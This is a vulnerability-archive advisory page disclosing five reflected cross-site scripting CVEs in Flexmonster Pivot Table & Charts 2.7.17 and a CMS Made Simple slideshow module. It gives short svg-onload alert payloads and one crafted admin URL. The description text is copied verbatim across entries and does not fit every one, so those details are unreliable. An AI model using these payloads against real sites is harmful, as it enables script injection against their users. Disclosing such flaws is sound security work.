Flexmonster Pivot Table And Charts 2.7.17 Cross Site Scripting

Authored by Marco Nappi

Posted Dec 17, 2020

Flexmonster Pivot Table and Charts version 2.7.17 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2020-20138, CVE-2020-20139, CVE-2020-20140, CVE-2020-20141, CVE-2020-20142
SHA-256 | 04c859b1aa0ff2ebf67a2432da09120d4b5948555291b55a2cd9d75664c327f7 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: CVE-2020-20140 : Cross Site Scripting (XSS) vulnerability in Remote Report component under the
Open menu in Flexmonster Pivot Table & Charts 2.7.17
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: n/a
# Software Link: n/a
# Version:Flexmonster Pivot Table & Charts 2.7.17
# Tested on:Flexmonster Pivot Table & Charts 2.7.17
# CVE : CVE-2020-20140

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file
specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates
to an non-existing file (the XSS payload). This results in the execution of the payload.

payload:
<svg onload=alert("OpenRemoteReport")><!--

-------

# Exploit Title: CVE-2020-20139 : Cross Site Scripting (XSS) vulnerability in the Remote JSON component
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: n/a
# Software Link: n/a
# Version:Flexmonster Pivot Table & Charts 2.7.17
# Tested on:Flexmonster Pivot Table & Charts 2.7.17
# CVE : CVE-2020-20139

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file
specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates
to an non-existing file (the XSS payload). This results in the execution of the payload.

payload:
<svg onload=alert("OpenRemoteJSON")><!--

-------

# Exploit Title: CVE-2020-20141 : Cross Site Scripting (XSS) vulnerability in the To OLAP (XMLA) component
Under the Connect menu in Flexmonster Pivot Table & Charts 2.7.17.
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: n/a
# Software Link: n/a
# Version:Flexmonster Pivot Table & Charts 2.7.17
# Tested on:Flexmonster Pivot Table & Charts 2.7.17
# CVE : CVE-2020-20141

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file
specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates
to an non-existing file (the XSS payload). This results in the execution of the payload.

payload:
<svg onload=alert("OLAPTool")><!--

-------

# Exploit Title: CVE-2020-20138 : Reflected XSS in Cms Made Simple module "Showtime2 Slideshow"
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: n/a
# Software Link: [download link if available]
# Version:Cms Made Simple - 2.2.4
# Tested on:Cms Made Simple - 2.2.4
# CVE : CVE-2020-20138

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file
specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates
to an non-existing file (the XSS payload). This results in the execution of the payload.

example : http://<HOST>/admin/moduleinterface.php?
mact=Showtime2%2Cm1_%2Caddslides%2C0&_sk_=8a5db6575606c958c74&m1_showid=1&m1_module_message=%3Csvg%20onload=ale

-------

# Exploit Title: CVE-2020-20142 :Cross Site Scripting (XSS) vulnerability in the "To Remote CSV" component
under "Open" Menu in Flexmonster Pivot Table & Charts 2.7.17.
# Date: 08/01/2020
# Exploit Author: Marco Nappi
# Vendor Homepage: n/a
# Software Link: n/a
# Version:Flexmonster Pivot Table & Charts 2.7.17
# Tested on:Flexmonster Pivot Table & Charts 2.7.17
# CVE : CVE-2020-20142

Reflected XSS:
The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file
specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates
to an non-existing file (the XSS payload). This results in the execution of the payload.

payload:
<svg onload=alert("OpenRemoteCSV")><!--
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	150 files
Ubuntu	68 files
LiquidWorm	23 files
Debian	16 files
malvuln	11 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	6 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us
- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By
- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed